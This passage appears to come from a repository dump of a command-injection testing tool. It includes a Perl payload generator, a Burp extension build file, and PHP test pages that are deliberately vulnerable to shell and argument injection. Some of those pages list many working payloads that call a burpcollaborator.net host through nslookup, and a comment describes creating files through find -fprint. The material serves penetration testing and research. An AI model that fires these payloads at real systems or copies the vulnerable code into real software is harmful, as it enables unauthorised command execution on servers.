example.org for command injection into overlays of tools like whois. On the flip side, for file uploads these could be '.PNG', '.TXT','.DOC'optional list of suffixes to try (e.g. in order to bypass filters), used only with terminators\nmy @PREFIXES=('foo.co.uk'); # this could be profiled as well (e.g. profiles like 'hostname','uname','all')\nmy @PREFIX_SUFFIXES=('\"',\"'\"); # for into-quoted string injections, like fixed_command '$USER_SUPPLIED' or fixed_command \"$USER_SUPPLIED\"\n\n\n\n##### END OF CONFIGURATION SECTION #####\n\nif($TARGET_OS eq 'nix'||$TARGET_OS eq 'all')\n{\n\tpush(@BASE_PAYLOADS,'$('.$PAYL.')');\n\tpush(@BASE_PAYLOADS,'`'.$PAYL.'`');\n\tpush(@COMMAND_SEPARATORS,@NIX_COMMAND_SEPARATORS); \n\tpush(@ARGUMENT_SEPARATORS,@NIX_ARGUMENT_SEPARATORS);\n}\nif($TARGET_OS eq 'win'||$TARGET_OS eq 'all')\n{\n\tpush(@ARGUMENT_SEPARATORS,@WIN_ARGUMENT_SEPARATORS); # a cmd-specific hacky way to use space without a space, too bad it uses other dodgy characters, html-encoded\n\tpush(@COMMAND_SEPARATORS,@WIN_COMMAND_SEPARATORS); # as I found out, so called substitute character works as cmd separator for echo in cmd :D\t\n\tpush(@COMMAND_TERMINATORS,@WIN_COMMAND_TERMINATORS);\n\tif($COMMAND eq 'echo') # windows cmd.exe echo accepts a dot and ( as argument separators (and is almost never escaped), echo can be used to read variables and write arbitrary files\n\t{\n\t\tpush(@ARGUMENT_SEPARATORS,@WIN_ECHO_ARGUMENT_SEPARATORS);\n\t}\n\tpush(@WIN_ARGUMENT_SEPARATORS,@WIN_ECHO_ARGUMENT_SEPARATORS); # to make incorrect payload avoidance easier\n}\n\n\nsub array_search \n{\n\tmy $arr=shift;\n\tmy $seed=shift;\n\tforeach my $item(@{$arr}) \n\t{\n\t   return 1 if($item eq $seed);\n\t}\n\treturn 0;\n}\nsub incompatible_targets\n{\n\treturn 0 if($TARGET_OS ne 'all');\n\tmy $entity=shift;\n\tmy $payload=shift;\n\tmy $what=shift; # terminator or cmd_separator\n\t$payload=~/$COMMAND(.*)$ARGUMENT/;\n\tmy $separator=$1;\n\tif(array_search(\\@NIX_ARGUMENT_SEPARATORS,$separator)||$payload=~/\\$\\(/||$payload=~/\\`/) #nix detection\n\t{\n\t\t#print \"nix detected: $payload, verifying $entity...\\n\";\n\t\t# dealing with a nix-specific\n\t\tif($what eq 'separator')\n\t\t{\n\t\t\treturn 1 if(array_search(\\@WIN_COMMAND_SEPARATORS,$entity)); \n\t\t\treturn 1 if(array_search(\\@WIN_ARGUMENT_SEPARATORS,$entity));\n\t\t\treturn 0;\n\t\t}\n\t\tif($what eq 'terminator')\n\t\t{\n\t\t\treturn 1 if(array_search(\\@WIN_COMMAND_TERMINATORS,$entity)); \n\t\t\treturn 0;\n\t\t}\n\t}\n\telsif(array_search(\"@WIN_ARGUMENT_SEPARATORS\",$separator)) # win detection\n\t{\n\t\t#print \"win detected: $payload\\n\";\n\t\t# dealing with a win-specific payload\n\t\tif($what eq 'separator')\n\t\t{\n\t\t\treturn 1 if(array_search(\\@NIX_COMMAND_SEPARATORS,$entity)); \n\t\t\treturn 1 if(array_search(\\@NIX_ARGUMENT_SEPARATORS,$entity)); \n\t\t\treturn 0;\n\t\t}\n\t\tif($what eq 'terminator')\n\t\t{\n\t\t\treturn 1 if(array_search(\\@NIX_COMMAND_TERMINATORS,$entity)); \n\t\t\treturn 0;\n\t\t}\n\t\t\n\t}\t# universal payload\n\telse \n\t{\n\t\t#print \"universal detected: $payload\\n\";\n\t\treturn 0; # we are dealing with a universal separator, so no conflict in this payload\t\t\n\t}\n}\n\nsub get_proper_suffix\n{\n\tmy $prefix=shift;\n\tmy $suffix=$prefix;\n\tif($prefix=~/(')$/||$prefix=~/(\")$/)\n\t{\n\t\tmy $quote=$1;\n\t\t$suffix=~s/$quote$//;\n\t\t$suffix=$quote.$suffix;\n\t}\n\treturn $suffix;\n}\n\n\n# automatically prefix prefixes with quotes in order to gain quoted injection compatibility\nmy @tmp_prefixes=(@PREFIXES);\nforeach my $prefix(@tmp_prefixes)\n{\n\tforeach my $prefix_suffix(@PREFIX_SUFFIXES)\n\t{\n\t\tpush(@PREFIXES,$prefix.$prefix_suffix);\t\n\t}\n}\n\nmy @output_payloads=();\n\n# First, we fill our output payloads list wth all variations of base payloads, including different argument separators\nforeach my $arg_separator(@ARGUMENT_SEPARATORS)\n{\n\tforeach my $base_payload(@BASE_PAYLOADS)\n\t{\n\t\tmy $curr_payload=$base_payload; \n\t\tnext if incompatible_targets($arg_separator,$curr_payload,'separator');\n\t\t$curr_payload=~s/ARGUMENT_SEPARATOR/$arg_separator/;\n\t\tpush(@output_payloads,$curr_payload);\n\t}\n}\n@BASE_PAYLOADS=(@output_payloads); # overwrite the base with different base command_separator variants\n\n# Second, we fill up our output_payloads with successive combinations from the COMBINATION PATTERNS\n# 1) MALICIOUS_COMMAND - already there in its pure version, nice one!\n\n# 2) MALICIOUS_COMMAND+COMMAND_TERMINATOR \nforeach my $base_payload(@BASE_PAYLOADS)\n{\n\tforeach my $command_terminator(@COMMAND_TERMINATORS)\n\t{\n\t\tnext if incompatible_targets($command_terminator,$base_payload,'terminator');\n\t\tmy $curr_payload=$base_payload.$command_terminator;\n\t\tpush(@output_payloads,$curr_payload);\n\t}\n\tforeach my $command_separator(@COMMAND_SEPARATORS)\n\t{\n\t\tnext if incompatible_targets($command_separator,$base_payload,'separator');\n\t\tmy $curr_payload=$base_payload.$command_separator;\n\t\tpush(@output_payloads,$curr_payload);\n\t}\n}\n\n# 3) COMMAND_SEPARATOR+MALICIOUS_COMMAND\nforeach my $base_payload(@BASE_PAYLOADS)\n{\n\tforeach my $command_separator(@COMMAND_SEPARATORS)\n\t{\n\t\tnext if incompatible_targets($command_separator,$base_payload,'separator');\n\t\tmy $curr_payload=$command_separator.$base_payload;\n\t\tpush(@output_payloads,$curr_payload);\n\t}\n}\n\n# 4) COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR \nforeach my $base_payload(@BASE_PAYLOADS)\n{\n\tforeach my $command_separator(@COMMAND_SEPARATORS)\n\t{\n\t\tnext if incompatible_targets($command_separator,$base_payload,'separator');\n\t\tmy $curr_payload=$command_separator.$base_payload.$command_separator;\n\t\tpush(@output_payloads,$curr_payload);\n\t}\n}\n\n\n# 5) COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR+SUFFIX\nforeach my $base_payload(@BASE_PAYLOADS)\n{\n\tforeach my $command_separator(@COMMAND_SEPARATORS)\n\t{\t\t\n\t\tnext if incompatible_targets($command_separator,$base_payload,'separator');\n\t\tforeach my $suffix(@PREFIXES) # prefix and suffix are the same \n\t\t{\n\t\t\tnext if($suffix=~/'/||$suffix=~/\"/); # skip irrelevant payloads\n\t\t\tmy $curr_payload=$command_separator.$base_payload.$command_separator.$suffix;\n\t\t\tpush(@output_payloads,$curr_payload);\t\n\t\t}\n\t}\n}\n\n# 6) PREFIX+COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR\nforeach my $base_payload(@BASE_PAYLOADS)\n{\n\tforeach my $command_separator(@COMMAND_SEPARATORS)\n\t{\n\t\tnext if incompatible_targets($command_separator,$base_payload,'separator');\n\t\tforeach my $prefix(@PREFIXES)\n\t\t{\n\t\t\tmy $curr_payload=$prefix.$command_separator.$base_payload.$command_separator;\n\t\t\tif($curr_payload=~/'/)\n\t\t\t{\n\t\t\t\t$curr_payload.=\"'\";\n\t\t\t}\n\t\t\telsif($curr_payload=~/\"/)\n\t\t\t{\n\t\t\t\t$curr_payload.='\"';\n\t\t\t}\n\t\t\t# if the payload starts with a quote, we are closing it with the same quote in order to keep the syntax from breaking\n\t\t\tpush(@output_payloads,$curr_payload);\n\t\t}\n\t}\n}\n\n# 7) PREFIX+COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR+SUFFIX \nforeach my $base_payload(@BASE_PAYLOADS)\n{\n\tforeach my $command_separator(@COMMAND_SEPARATORS)\n\t{\n\t\tnext if incompatible_targets($command_separator,$base_payload,'separator');\n\t\tforeach my $prefix(@PREFIXES)\n\t\t{\n\t\t\tmy $suffix=get_proper_suffix($prefix);\n\t\t\tmy $curr_payload=$prefix.$command_separator.$base_payload.$command_separator.$suffix; # suffix is the same as prefix\n\t\t\t# if the payload starts with a quote, we are closing it with the same quote in order to keep the syntax from breaking\n\t\t\tpush(@output_payloads,$curr_payload);\n\t\t}\n\t}\n}\n\n# 8) PREFIX+MALICIOUS_COMMAND+SUFFIX (`` and $() notations)\nforeach my $base_payload(@BASE_PAYLOADS)\n{\n\tforeach my $prefix(@PREFIXES)\n\t{\n\t\t\tnext if(!($base_payload=~/^\\`/) && !($base_payload=~/^\\$/) && (!($prefix=~/'/)) && (!($prefix=~/\"/))); # skip irrelevant base payloads in order to avoid pointless results\t\n\t\t\tmy $suffix=get_proper_suffix($prefix);\n\t\t\tmy $curr_payload=$prefix.$base_payload.$suffix; # suffix is the same as prefix\n\t\t\t# if the payload starts with a quote, we are closing it with the same quote in order to keep the syntax from breaking\n\t\t\tpush(@output_payloads,$curr_payload);\n\t}\n}\n\n# FINALLY, PRINT OUR PRECIOUS LIST READY FOR ACTION!\nmy $cnt=0;\nforeach my $output_payload(@output_payloads)\n{\n\tif($payload_marking eq 1)\n\t{\n\t\t$output_payload=~s/PAYLOAD_MARK/$cnt/;\n\t}\n\telse\n\t{\n\t\t$output_payload=~s/PAYLOAD_MARK//;\n\t}\n\t$cnt++;\n\tprint $output_payload.\"\\n\";\t\n}\n"
  },
  {
    "path": "build.gradle",
    "content": "apply plugin: 'java'\n\ntasks.withType(JavaCompile) {\n    options.encoding = 'UTF-8'\n}\n\nrepositories {\n    mavenCentral()\n}\n\ndependencies {\n    compile 'net.portswigger.burp.extender:burp-extender-api:1.7.22'\n}\n\nsourceSets {\n    main {\n        java {\n            srcDir 'Java/src'\n        }\n    }\n}\n\ntask fatJar(type: Jar) {\n    baseName = project.name + '-all'\n    from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } }\n    with jar\n}\n"
  },
  {
    "path": "settings.gradle",
    "content": "rootProject.name = 'shelling'\n"
  },
  {
    "path": "test_cases/arginj1.php",
    "content": "<?php\n# filename: arginj1.php\n# vulnerable to argument injection\n#\n\nfunction cmd_exec($cmd, &$stdout, &$stderr)\n{\n    $outfile = tempnam(\".\", \"cmd\");\n    $errfile = tempnam(\".\", \"cmd\");\n    $descriptorspec = array(\n        0 => array(\"pipe\", \"r\"),\n        1 => array(\"file\", $outfile, \"w\"),\n        2 => array(\"file\", $errfile, \"w\")\n    );\n    $proc = proc_open($cmd, $descriptorspec, $pipes);\n    \n    if (!is_resource($proc)) return 255;\n\n    fclose($pipes[0]);    //Don't really want to give any input\n\n    $exit = proc_close($proc);\n    $stdout = file($outfile);\n    $stderr = file($errfile);\n\n    unlink($outfile);\n    unlink($errfile);\n    return $exit;\n}\n \n\n# wget has nice, injection-friendly syntax (many might not be aware of while writing code that calls it):\n#   Option Syntax\n#       Since Wget uses GNU getopt to process command-line arguments, every option has a long form along with the short one.  Long\n#       options are more convenient to remember, but take time to type.  You may freely mix different option styles, or specify\n#       options after the command-line arguments.  Thus you may write:\n\n#               wget -r --tries=10 http://fly.srk.fer.hr/ -o log\n\n\t$command = 'wget';\n\t$escaped_arg = escapeshellarg($_GET['url']); // while escapeshellarg should be used instead\t\n\t$all=$command.' \"'.$escaped_arg.'\"';\n\n\techo \"Command after concatenation: $all\\n\";\n\t$output='';\n\t$error='';\n\tcmd_exec($all,$output,$error);\n\n\techo \"Output:\\n\";\n\tforeach($output as $out)\n\t{\n\t\techo \"$out<br />\";\n\t}\n\n\techo \"Error:\\n\";\n\tforeach($error as $err)\n\t{\n\t\techo \"$err<br />\";\n\t}\n\n?>\n<a href=\"?url=\">clickme</a>\n"
  },
  {
    "path": "test_cases/arginj_escape_shell_cmd.php",
    "content": "<?php\n# filename: arg_escape_shell_cmd.php\n# should be vulnerable to argument injection\n# although it is not possible to use any exec variants (; is escaped)\n# we can still, for example:\n\n# 1) create files with arbitrary names:\n# GET /test_cases/GET/arginj_escape_shell_cmd.php?dir=arginj_escape_shell_cmd.php%20-fprint%20owned.php HTTP/1.1\n# and then figure out how to inject code into it:\n# \n\n\t$command = 'find -iname ';\n\t$escaped_arg = escapeshellcmd($_GET['dir']); // while escapeshellarg should be used instead\n\n\n\t$all=$command.$escaped_arg;\n\techo \"Executing $all:<br />\";\n\techo system($all);\n\n\n?>\n<a href=\"?dir=.\">clickme</a>\n"
  },
  {
    "path": "test_cases/arginj_wget_doublequote.php",
    "content": "<?php\n# filename: arginj_wget_doublequote.php\n# vulnerable to argument injection\n#\nerror_reporting(E_ALL);\n//ini_set('display_errors',true);\nfunction cmd_exec($cmd, &$stdout, &$stderr)\n{\n    $outfile = tempnam(\".\", \"cmd\");\n    $errfile = tempnam(\".\", \"cmd\");\n    $descriptorspec = array(\n        0 => array(\"pipe\", \"r\"),\n        1 => array(\"file\", $outfile, \"w\"),\n        2 => array(\"file\", $errfile, \"w\")\n    );\n    $proc = proc_open($cmd, $descriptorspec, $pipes);\n    \n    if (!is_resource($proc)) return 255;\n\n    fclose($pipes[0]);    //Don't really want to give any input\n\n    $exit = proc_close($proc);\n    $stdout = file($outfile);\n    $stderr = file($errfile);\n\n    unlink($outfile);\n    unlink($errfile);\n    return $exit;\n}\n \n\n# wget has nice, injection-friendly syntax (many might not be aware of while writing code that calls it):\n#   Option Syntax\n#       Since Wget uses GNU getopt to process command-line arguments, every option has a long form along with the short one.  Long\n#       options are more convenient to remember, but take time to type.  You may freely mix different option styles, or specify\n#       options after the command-line arguments.  Thus you may write:\n\n#               wget -r --tries=10 http://fly.srk.fer.hr/ -o log\n\n\t$command = 'wget';\n\t$escaped_arg = escapeshellarg($_GET['url']); // while escapeshellarg should be used instead\t\n\t$all=$command.' \"'.$escaped_arg.'\"';\n\n\techo \"Command after concatenation: $all\\n\";\n\t$output='';\n\t$error='';\n\tcmd_exec($all,$output,$error);\n\n\techo \"Output:\\n\";\n\tforeach($output as $out)\n\t{\n\t\techo \"$out<br />\";\n\t}\n\n\techo \"Error:\\n\";\n\tforeach($error as $err)\n\t{\n\t\techo \"$err<br />\";\n\t}\n\n?>\n<a href=\"?url=\">clickme</a>\n"
  },
  {
    "path": "test_cases/arginj_wget_noquotes.php",
    "content": "<?php\n# filename: arginj_wget_noquotes.php\n# apparently NOT vulnerable to argument injection\n#\nerror_reporting(E_ALL);\n//ini_set('display_errors',true);\nfunction cmd_exec($cmd, &$stdout, &$stderr)\n{\n    $outfile = tempnam(\".\", \"cmd\");\n    $errfile = tempnam(\".\", \"cmd\");\n    $descriptorspec = array(\n        0 => array(\"pipe\", \"r\"),\n        1 => array(\"file\", $outfile, \"w\"),\n        2 => array(\"file\", $errfile, \"w\")\n    );\n    $proc = proc_open($cmd, $descriptorspec, $pipes);\n    \n    if (!is_resource($proc)) return 255;\n\n    fclose($pipes[0]);    //Don't really want to give any input\n\n    $exit = proc_close($proc);\n    $stdout = file($outfile);\n    $stderr = file($errfile);\n\n    unlink($outfile);\n    unlink($errfile);\n    return $exit;\n}\n \n\n# wget has nice, injection-friendly syntax (many might not be aware of while writing code that calls it):\n#   Option Syntax\n#       Since Wget uses GNU getopt to process command-line arguments, every option has a long form along with the short one.  Long\n#       options are more convenient to remember, but take time to type.  You may freely mix different option styles, or specify\n#       options after the command-line arguments.  Thus you may write:\n\n#               wget -r --tries=10 http://fly.srk.fer.hr/ -o log\n\n\t$command = 'wget';\n\t$escaped_arg = escapeshellarg($_GET['url']); // while escapeshellarg should be used instead\t\n\t$all=$command.\" \".$escaped_arg;\n\n\techo \"Command after concatenation: $all\\n\";\n\t$output='';\n\t$error='';\n\tcmd_exec($all,$output,$error);\n\n\techo \"Output:\\n\";\n\tforeach($output as $out)\n\t{\n\t\techo \"$out<br />\";\n\t}\n\n\techo \"Error:\\n\";\n\tforeach($error as $err)\n\t{\n\t\techo \"$err<br />\";\n\t}\n\n?>\n<a href=\"?url=\">clickme</a>\n"
  },
  {
    "path": "test_cases/arginj_wget_singlequote.php",
    "content": "<?php\n# filename: arginj_wget_singlequote.php\n# vulnerable to argument injection\n#\nerror_reporting(E_ALL);\n//ini_set('display_errors',true);\nfunction cmd_exec($cmd, &$stdout, &$stderr)\n{\n    $outfile = tempnam(\".\", \"cmd\");\n    $errfile = tempnam(\".\", \"cmd\");\n    $descriptorspec = array(\n        0 => array(\"pipe\", \"r\"),\n        1 => array(\"file\", $outfile, \"w\"),\n        2 => array(\"file\", $errfile, \"w\")\n    );\n    $proc = proc_open($cmd, $descriptorspec, $pipes);\n    \n    if (!is_resource($proc)) return 255;\n\n    fclose($pipes[0]);    //Don't really want to give any input\n\n    $exit = proc_close($proc);\n    $stdout = file($outfile);\n    $stderr = file($errfile);\n\n    unlink($outfile);\n    unlink($errfile);\n    return $exit;\n}\n \n\n# wget has nice, injection-friendly syntax (many might not be aware of while writing code that calls it):\n#   Option Syntax\n#       Since Wget uses GNU getopt to process command-line arguments, every option has a long form along with the short one.  Long\n#       options are more convenient to remember, but take time to type.  You may freely mix different option styles, or specify\n#       options after the command-line arguments.  Thus you may write:\n\n#               wget -r --tries=10 http://fly.srk.fer.hr/ -o log\n\n\t$command = 'wget';\n\t$escaped_arg = escapeshellarg($_GET['url']); // while escapeshellarg should be used instead\t\n\t$all=$command.\" '\".$escaped_arg.\"'\";\n\n\techo \"Command after concatenation: $all\\n\";\n\t$output='';\n\t$error='';\n\tcmd_exec($all,$output,$error);\n\n\techo \"Output:\\n\";\n\tforeach($output as $out)\n\t{\n\t\techo \"$out<br />\";\n\t}\n\n\techo \"Error:\\n\";\n\tforeach($error as $err)\n\t{\n\t\techo \"$err<br />\";\n\t}\n\n?>\n<a href=\"?url=\">clickme</a>\n"
  },
  {
    "path": "test_cases/escape_cmd_shell_direct.php",
    "content": "<?php\n# filename: escape_cmd_shell_direct.php\n# does not look vulnerable, but we need to make sure :D\n\t$command = 'dir '.$_GET['dir'];\n\t$escaped_command = escapeshellcmd($command); \n\tsystem($escaped_command); \n?>\n<a href=\"?dir=.\">clickme</a>\n"
  },
  {
    "path": "test_cases/escape_shell_cmd.php",
    "content": "<?php\n# filename: escape_shell_cmd.php\n# vulnerable to the additional alternative command separator 0x1A only working after being written to a BAT file (http://seclists.org/fulldisclosure/2016/Nov/67)\n# sample exploit: '?dir=.%1a[MALICIOUS_COMMAND]'\n\n\t$command = 'dir '.$_GET['dir'];\n\t$escaped_command = escapeshellcmd($command); \n\tfile_put_contents('out.bat',$escaped_command);\n\techo system('out.bat');\n?>\n<a href=\"?dir=.\">clickme</a>\n"
  },
  {
    "path": "test_cases/lax_domain_name.php",
    "content": "<?php\n# filename: lax_domain_name.php\n# vulnerable as the regex is too lose\n# sample successful payloads:\n/*\na.a.com%7C%24%28nslookup+1016.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%7Ca.a.com\na.a.com%26%24%28nslookup%24IFS%249a1259.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%26a.a.com\na.a.com%7Cnslookup%24IFS%249a1232.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%7Ca.a.com\na.a.com%22%26%24%28nslookup+1013.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%26%22a.a.com\na.a.com%60nslookup%24IFS%249a1367.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60a.a.com\na.a.com%7C%60nslookup%091196.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%7Ca.a.com\na.a.com%22%24%28nslookup%091346.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%22a.a.com\na.a.com\";$(nslookup$IFS$9a1282.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net);\"a.a.com\na.a.com%26nslookup%24IFS%249a1223.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%26a.a.com\na.a.com`nslookup$IFS$9a1366.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net`a.a.com\na.a.com%7Cnslookup+980.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%7Ca.a.com\na.a.com%26nslookup%091115.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%26a.a.com\na.a.com%3B%24%28nslookup+1025.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%3Ba.a.com\na.a.com\"|$(nslookup$IFS$9a1273.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net)|\"a.a.com\na.a.com%3Bnslookup+989.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%3Ba.a.com\na.a.com%3B%24%28nslookup%091169.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%3Ba.a.com\na.a.com%3B%24%28nslookup%24IFS%249a1277.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%3Ba.a.com\na.a.com%22%60nslookup%091355.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%22a.a.com\na.a.com;nslookup$IFS$9a1240.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net;a.a.com\na.a.com%22%24%28nslookup+1328.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%22a.a.com\na.a.com\"|`nslookup$IFS$9a1309.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net`|\"a.a.com\na.a.com%60nslookup+1331.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60a.a.com\na.a.com%22%3B%24%28nslookup+1031.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%3B%22a.a.com\na.a.com%3Bnslookup%24IFS%249a1241.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%3Ba.a.com\na.a.com%22%7C%60nslookup+1058.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%7C%22a.a.com\na.a.com%60nslookup%091349.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60a.a.com\na.a.com%7Cnslookup%091124.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%7Ca.a.com\na.a.com%22%7C%60nslookup%24IFS%249a1310.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%7C%22a.a.com\na.a.com%22%3B%24%28nslookup%24IFS%249a1283.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%3B%22a.a.com\na.a.com%22%3B%60nslookup+1067.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%3B%22a.a.com\na.a.com%7C%24%28nslookup%091160.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%7Ca.a.com\na.a.com%3Bnslookup%091133.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%3Ba.a.com\na.a.com%22%26%60nslookup+1049.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%26%22a.a.com\na.a.com%22%60nslookup%24IFS%249a1373.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%22a.a.com\na.a.com%26%24%28nslookup+1007.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%26a.a.com\na.a.com%22%3B%24%28nslookup%091175.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%3B%22a.a.com\na.a.com%22%26%24%28nslookup%24IFS%249a1265.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%26%22a.a.com\na.a.com%3B%60nslookup%24IFS%249a1313.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%3Ba.a.com\na.a.com%22%60nslookup+1337.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%22a.a.com\na.a.com%24%28nslookup%24IFS%249a1358.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29a.a.com\na.a.com%26%60nslookup%24IFS%249a1295.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%26a.a.com\na.a.com%24%28nslookup+1322.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29a.a.com\na.a.com%7C%24%28nslookup%24IFS%249a1268.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%7Ca.a.com\na.a.com;`nslookup$IFS$9a1312.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net`;a.a.com\na.a.com%22%7C%60nslookup%091202.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%7C%22a.a.com\na.a.com%22%7C%24%28nslookup%091166.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%7C%22a.a.com\na.a.com%22%3B%60nslookup%091211.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%3B%22a.a.com\na.a.com%22%26%60nslookup%24IFS%249a1301.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%26%22a.a.com\na.a.com%22%3B%60nslookup%24IFS%249a1319.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%3B%22a.a.com\na.a.com\";`nslookup$IFS$9a1318.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net`;\"a.a.com\na.a.com%22%26%60nslookup%091193.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%26%22a.a.com\na.a.com%26nslookup+971.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%26a.a.com\na.a.com%7C%60nslookup+1052.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%7Ca.a.com\na.a.com%22%7C%24%28nslookup%24IFS%249a1274.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%7C%22a.a.com\na.a.com%22%26%24%28nslookup%091157.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%26%22a.a.com\na.a.com%26%24%28nslookup%091151.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%26a.a.com\na.a.com%22%7C%24%28nslookup+1022.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%7C%22a.a.com\na.a.com%7C%60nslookup%24IFS%249a1304.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%7Ca.a.com\na.a.com%26%60nslookup%091187.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%26a.a.com\na.a.com|$(nslookup$IFS$9a1267.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net)|a.a.com\na.a.com|`nslookup$IFS$9a1303.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net`|a.a.com\na.a.com%26%60nslookup+1043.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%26a.a.com\na.a.com\"$(nslookup$IFS$9a1363.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net)\"a.a.com\na.a.com;$(nslookup$IFS$9a1276.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net);a.a.com\na.a.com$(nslookup$IFS$9a1357.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net)a.a.com\na.a.com|nslookup$IFS$9a1231.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net|a.a.com\na.a.com%3B%60nslookup%091205.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%3Ba.a.com\na.a.com\"`nslookup$IFS$9a1372.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net`\"a.a.com\na.a.com%3B%60nslookup+1061.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%60%3Ba.a.com\na.a.com%22%24%28nslookup%24IFS%249a1364.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29%22a.a.com\na.a.com%24%28nslookup%091340.m5sousiknr1cxm67t690qyx66xcp0e.burpcollaborator.net%29a.a.com\n\n*/\n\nif(isset($_GET['dir'])&&preg_match('/^\\w+\\..*\\w+\\.\\w+$/',$_GET['dir']))\n{\n\t echo \"Dir contents are:\\n<br />\".shell_exec(\"ls {$_GET['dir']}\");\n}\n?>\n\n<a href=\"?dir=a.a.com\">clickme</a>\n"
  },
  {
    "path": "test_cases/no_colon_no_pipe_no_ampersand_no_dollar.php",
    "content": "<?php\n# filename: no_colon_no_pipe_no_ampersand_no_dollar.php\n# vulnerable to newline and backtick injection\n# sample successful payloads:\n/*\n%26%60nslookup%09467.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%26.\n.%0Anslookup%09746.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%0A\n.%22%60nslookup%091355.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%22.\n.%22%0A%60nslookup%091184.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%0A%22.\n.%22%0A%60nslookup+680.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%0A%22\n%60nslookup%09158.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%F0%9F%92%A9\n.%22%60nslookup+1337.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%22.\n.%22%26%24%28nslookup%09797.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%26%22\n.%0A%60nslookup+1034.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%0A.\n.%24%28nslookup%091340.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29.\n.%60nslookup+1331.e7mgwkkcpj34ze8z